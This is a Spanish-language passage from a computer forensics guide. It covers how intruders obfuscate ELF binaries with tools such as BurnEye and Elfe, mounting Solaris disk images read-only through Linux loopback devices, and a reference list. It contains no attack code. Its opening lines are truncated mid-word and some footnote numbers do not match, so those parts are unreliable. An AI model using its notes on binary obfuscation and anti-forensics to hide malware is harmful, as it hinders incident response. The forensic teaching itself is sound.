Nivel 3. Esta capa de protección tiene un modo de funcionamiento diferente a los niveles anterio

Si estamos estudiando el binario, doy por sentado que nos encontramos en una estación de análisi

```
[chrooted@beta.activalink.com chrooted]# ./output invalid fingerprint \\
```
Es casi imposible de obtener el binario original si no nos encontramos en la máquina con un sel

- Elfe [8] - Este tipo de protección se utiliza por los intrusos con nivel de conocimientos medio, medio-alto, que conocen la estructura de binarios ELF. Elfe ofrece 1 nivel de protección de binarios ELF a través de RC4. A través de esta herramienta se puede especificar cual de las secciones del binario (.text, .data, .rodata) se quiere proteger. Esa aplicación funciona sólo bajo la arquitectura x86 y únicamente puede proteger binarios producidos por el compilador gcc y stripeados, tiene soporte para binarios linkados de forma estática así como dinámica.

```
Comparando esa herramienta con las anteriores, podemos decir que    ofrece menor nivel de protecci

password:    Done. Returning to program.    QZ^&  \\
También podemos encontrar en el output cadenas de texto de las    secciones que no han sido cifrad

Aunque el método de protección no implementa detección de debuggers,    el nivel de dificultad de
```

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultación del propósito del binario. Si el intruso ha utilizado estas herramientas de forma correcta y precabida sería casi imposible de saber el objetivo del fichero. El decifrado es posible pero complejo que necesita conocimientos avanzados de ingeniería inversa y análisis criptográfico.

12. Apéndice B - Sistema de Ficheros Loopback de Linux

El kernel de Linux tiene soporte vara múltiples sistemas de fichero (ver "man mount") tales como: adfs, affs, autofs, coda, coherent, devpts, efs, ext, ext2, hfs, hpfs, iso9660, minix, msdos, ncpfs, nfs, ntfs, proc, qnx4, romfs, smbfs, sysv, udf, ufs, umsdos, vfat, xenix, xiafs.

Los sistemas de ficheros coherent, sysv y xenix son idénticos y en el futuro no se mencionarán los tres sino, se limitará a utilizar el nombre sysv.

El soporte de una variedad de sistemas de ficheros por el kernel de GNU/Linux nos ofrece una buena plataforma de análisis ya que no tendremos que cambiar ni de máquina ni de sistema operativo para estudiar un sistema comprometido que no sea GNU/Linux.

Linux también tiene soporte para dispositivos "loopback", que permiten montar un sistema de ficheros dentro del fichero. Este método se utiliza dentro de los discos arrancables, CD-ROMs auto-ejecutables, sistemas de fichero cifrados para laptops, etc. Para más información podemos leer siguiente documentación de losetup(8), mount(8) [30].

Los dispositivos "loop" en las versiones anteriores de GNU/Linux eran 8 por defecto y se utilizaban de forma indirecta por el comando "mount", mientras que actualmente son 16. Estos dispositivos se encuentran en el directorio /dev junto con el resto de dispositivos.

```
[static@lowershaft.activalink dev]$ ls -l /dev/loop*
brw-rw----    1 root     root       7,   0 Apr 11 16:25 /dev/loop0
brw-rw----    1 root     root       7,   1 Apr 11 16:25 /dev/loop1
brw-rw----    1 root     root       7,  10 Apr 11 16:25 /dev/loop10
brw-rw----    1 root     root       7,  11 Apr 11 16:25 /dev/loop11
brw-rw----    1 root     root       7,  12 Apr 11 16:25 /dev/loop12
brw-rw----    1 root     root       7,  13 Apr 11 16:25 /dev/loop13
brw-rw----    1 root     root       7,  14 Apr 11 16:25 /dev/loop14
brw-rw----    1 root     root       7,  15 Apr 11 16:25 /dev/loop15
brw-rw----    1 root     root       7,   2 Apr 11 16:25 /dev/loop2
brw-rw----    1 root     root       7,   3 Apr 11 16:25 /dev/loop3
brw-rw----    1 root     root       7,   4 Apr 11 16:25 /dev/loop4
brw-rw----    1 root     root       7,   5 Apr 11 16:25 /dev/loop5
brw-rw----    1 root     root       7,   6 Apr 11 16:25 /dev/loop6
brw-rw----    1 root     root       7,   7 Apr 11 16:25 /dev/loop7
brw-rw----    1 root     root       7,   8 Apr 11 16:25 /dev/loop8
brw-rw----    1 root     root       7,   9 Apr 11 16:25 /dev/loop9
```

Combinar dos utilidades como dd y mount es más fácil de lo que puede pensar. Puede hacer una prueba copiando imágenes de cada partición con dd del sistema de ficheros de la víctima, los copia a su sistema y les monta utilizando dispositivos "loopback". Para nuestro ejemplo, las particiones fueron obtenidos de un disco duro interno de una Sun SPARC ejecutando Solaris 2.5:

```
# ls -l c0t3d0*
-rw-r--r--    1 root     root     189399040 Sep 14 12:44 c0t3d0s0.dd
-rw-r--r--    1 root     root     171991040 Sep 14 13:15 c0t3d0s1.dd
-rw-r--r--    1 root     root     220733440 Sep 14 12:57 c0t3d0s3.dd
-rw-r--r--    1 root     root     269475840 Sep 14 12:51 c0t3d0s6.dd
-rw-r--r--    1 root     root     515973120 Sep 14 13:48 c0t3d0s7.dd
```

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo "sun" y que deseamos utilizar un dispositivo loopback de siguiente manera:

```
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s0.dd /t
```

Desde aquí podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema de víctima /etc/vfstab (montado en este ejemplo bajo /t):

```
# grep c0t3d0 /t/etc/vfstab
```

```
/dev/dsk/c0t3d0s1 - - swap - no -
/dev/dsk/c0t3d0s0 /dev/rdsk/c0t3d0s0 / ufs 1 no -
/dev/dsk/c0t3d0s6 /dev/rdsk/c0t3d0s6 /usr ufs 1 no -
/dev/dsk/c0t3d0s3 /dev/rdsk/c0t3d0s3 /var ufs 1 no -
/dev/dsk/c0t3d0s7 /dev/rdsk/c0t3d0s7 /export/home ufs 2 yes -
```

Ahora podemos montar otras particiones de siguiente manera:

```
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s3.dd /t/var
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s6.dd /t/usr
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s7.dd /t/export/home
```

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo "grave-robber".

```
# df
Filesystem           1k-blocks      Used Available Use% Mounted on
 . . .
/x/c0t3d0s0.dd          173791     68725     87696  44% /t
/x/c0t3d0s3.dd          202423     26148    156035  14% /t/usr
/x/c0t3d0s6.dd          246743    197592     24481  89% /t/var
/x/c0t3d0s7.dd          473031    111506    314225  26% /t/export/home
```

```
# mount
 . . .
/x/c0t3d0s0.dd on /t type ufs (ro,loop=/dev/loop0,ufstype=sun)
/x/c0t3d0s3.dd on /t/usr type ufs (ro,loop=/dev/loop1,ufstype=sun)
/x/c0t3d0s6.dd on /t/var type ufs (ro,loop=/dev/loop2,ufstype=sun)
/x/c0t3d0s7.dd on /t/export/home type ufs (ro,loop=/dev/loop3,ufstype=sun)
```

12.1. Conclusiones

Con el transcurso de tiempo, las empresas que manejan la información privilegiada han aprendido que para asegurar la integridad, privacidad de información no se debe ahorrar en sistemas de seguridad, planes de contingencia. Los administradores sin previa experiencia de análisis forense no deben precipitarse a la hora de reestablecer el servidor parcheandolo rapidamente para que esté operativo lo antes posible, ya que sólo un análisis forense exhaustivo puede determinar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque.

13. Referencias

1. Análisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad de Washington.

2. RootKit - Un "rootkit" es un conjunto de herramientas que: garantizan el acceso posterior al sistema, facilitan el potencial acceso a otros servidores, facilitan el borrado de huellas del atacador, intentan esconder al atacante de los usuarios legítimos del sistema.

3. Ataque de Limpieza - Es un tipo de ataque informático local o remoto cuyo objetivo es la eliminación de las pruebas de compromiso anterior. El resultado de este tipo de ataques puede ser un destrozo de información en un equipo anteriormente comprometido o de un forense informático. El atacante intenta llevar acabo un borrado de información masivo, utilizando las técnicas de eliminación de información por sobre escritura si se trata de un ataque remoto y/o deformación magnética y des-magnetización de medios si se trata de un ataque local.

4. UPX - Ultimate Packer for eXecutables (http://upx.sourceforge.net/). Una herramienta para comprimir el ejecutable a fin de reducir su tamaño.

5. BurnEye - Una herramienta desarrollada por el grupo TESO (http://www.team-teso.net/) que utiliza las técnicas de inyección de código en ejecutables de tipo ELF. La aplicación ofrece 3 niveles de protección ofuscación de código, protección con contraseña, y "fingerprinting".

6. BurnEye Nivel 1 - Para más información sobre el método de obtener el binario original de uno ofuscado vean http://www.activalink.com/reviews/elf.php y http://www.phrack.com/show.php?p=58.

7. Burneye Nivel 2 - Para más información sobre métodos de ingeniería inversa de binarios protegidos con el nivel 2 de protección de BurnEye ver un caso práctico http://www.incidents.org/papers/ssh_exploit.pdf.

8. Fenris - Un debugger popular y potente ya que interactúa con el sistema operativo y libc a un bajo nivel, sin utilizar las llamadas ptrace(); ver http://razor.bindview.com/tools/fenris/.

9. Elfe - Lightweight Elf Encryptor (http://stealth.7350.org/) Una herramienta desarrollada por Stealth del grupo TESO que utiliza técnicas de inyección de un motor de cifrado dentro de un ejecutable. La aplicación protege la ejecución de un binario por una contraseña. Éste método de protección de ejecutables es menos fiable que 2º y 3er nivel de BurnEye.

10. Phrack - Gnugq ha escrito un buen white paper sobre el tema de protección "run-time" de binarios que incluye más información sobre el tema www.phrack.com/show.php?p=58&a=5.

11. RootKit - Una colección de utilidades para permitir al intruso ocultar su actividad dentro de un sistema, facilitar el acceso en un futuro, y recoger información útil del sistema. Ver la versión actualizada de FAQ en Inglés sobre RootKits creada por Dave Dittrich de la universidad de Washington D.C. http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq.

12. Biatchux - Es una distribución de linux portable sobre el CD-ROM que proporciona herramientas y un entorno seguro para realizar análisis forense, recuperación de datos, detección de virus y evaluación de vulnerabilidades (http://biatchux.dmzs.com/).

13. Thomas Rude - El autor de un artículo sobre la manera de realización de copias físicas de particiones y discos para el análisis forense (http://www.crazytrain.com/dd.html).

14. The Coroner's Toolkit- Una colección de herramientas de un investigador forense. Utilidades escritas por Dan y Wietse (trabaja para IBM, y el autor de postfix). Las utilidades incluidas en el kit proporcionan una ayuda substancial para el investigador (http://www.fish.com/tct/).

15. Trinoo - Análisis de un ataque con una herramienta de DDoS (The DoS Project's "trinoo" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/trinoo.analysis).

16. Mstream - Análisis de un ataque con una herramienta de DDoS (The "mstream" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/mstream.analysis.txt).

17. Van Hauser - Lea el documento de Van Hauser sobre "Anonymizing Unix Systems" para la información de como pueden los hackers con experiencia complicar la situación (http://www.thehackerschoice.com/papers/fw-backd.htm).

18. Techniques of Crime Scene Investigation, por Barry A. J. Fisher, CRC Press, ISBN 0-8493-8119-3

19. Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard (http://www.hp.com/tape/papers/perftune.html).

20. Clase de Farmer & Wietse Venema sobre análisis forense de sistemas informáticos - forensics.tar.gz contiene 6 diapositivas PostScript (http://www.fish.com/security/forensics.html).

21. Forensic Computer Analysis: Introducción a la Reconstrucción de eventos pasados, por Dan Farmer y Wietse Venema, Dr. Dobb's Journal, Septiembre 2000 (http://www.ddj.com/articles/2000/0009/0009f/0009f.htm).

22. ¿Qué son los MACtimes?: Herramientas poderosas para bases de datos, por Dan Farmer, Dr. Dobb's Journal, Octubre 2000 (http://www.ddj.com/articles/2000/0010/0010f/0010f.htm).

23. Strangers In the Night: Encontrar el objetivo del binario desconocido, por Wietse Venema, Dr. Dobb's Journal, Noviembre 2000 (http://www.ddj.com/articles/2000/0011/0011g/0011g.htm).

24. "Root Kits" y ocultación de directorios después del break-in (http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq).

25. Info.sec.radio segmentos de análisis forense (@15:45.0), Julio 10, 2000 (http://www.securityfocus.com/media/41).

26. SecurityFocus - Entrevista con Jennifer Grannic (http://www.securityfocus.com/media/41).

27. SecurityFocus - entrevista con Chad Davis (http://www.securityfocus.com/media/35).

28. Anonymizing Unix Systems, por van Hauser, THC (http://thc.pimmel.com/files/thc/anonymous-unix.html).

29. Federal Guidelines for Searching and Seizing Computers, Departamento de Justicia de EE. UU. (http://www.usdoj.gov/criminal/cybercrime/searching.html).

30. DD and Computer Forensics: Ejemplos de utilización de DD dentro de Unix para crear backups físicos, por Thomas Rude, CISSP, Agosto 2000 (http://www.crazytrain.com/dd.html).

31. El kernel de GNU/Linux ofrece soporte para sistemas de ficheros loopback, siendo una técnica bastante común. Ver para más información Laptop-HOWTO (http://www.tldp.org/HOWTO/Laptop-HOWTO.html), Bootdisk-HOWTO (http://www.tldp.org/HOWTO/Bootdisk-HOWTO/), Loopback-Encrypted-Filesystem-HOWTO (http://www.tldp.org/HOWTO/Loopback-Encrypted-Filesystem-HOWTO.html).

32. La última versión de éste documento está disponible en http://www.activalink.com/forensics3.php.

14. Agradecimientos

Se agradece la colaboración directa así como indirecta de:

- Dan Farmer por su respuesta a las preguntas pesadas.
- Wietse Venema por su contribución a la tecnología de análisis forense de sistemas Unix.
- David Dittrich, el autor original del estudio.
- Scut del Equipo TESO
- The Gnugq, uno de los editores de la revista Phrack.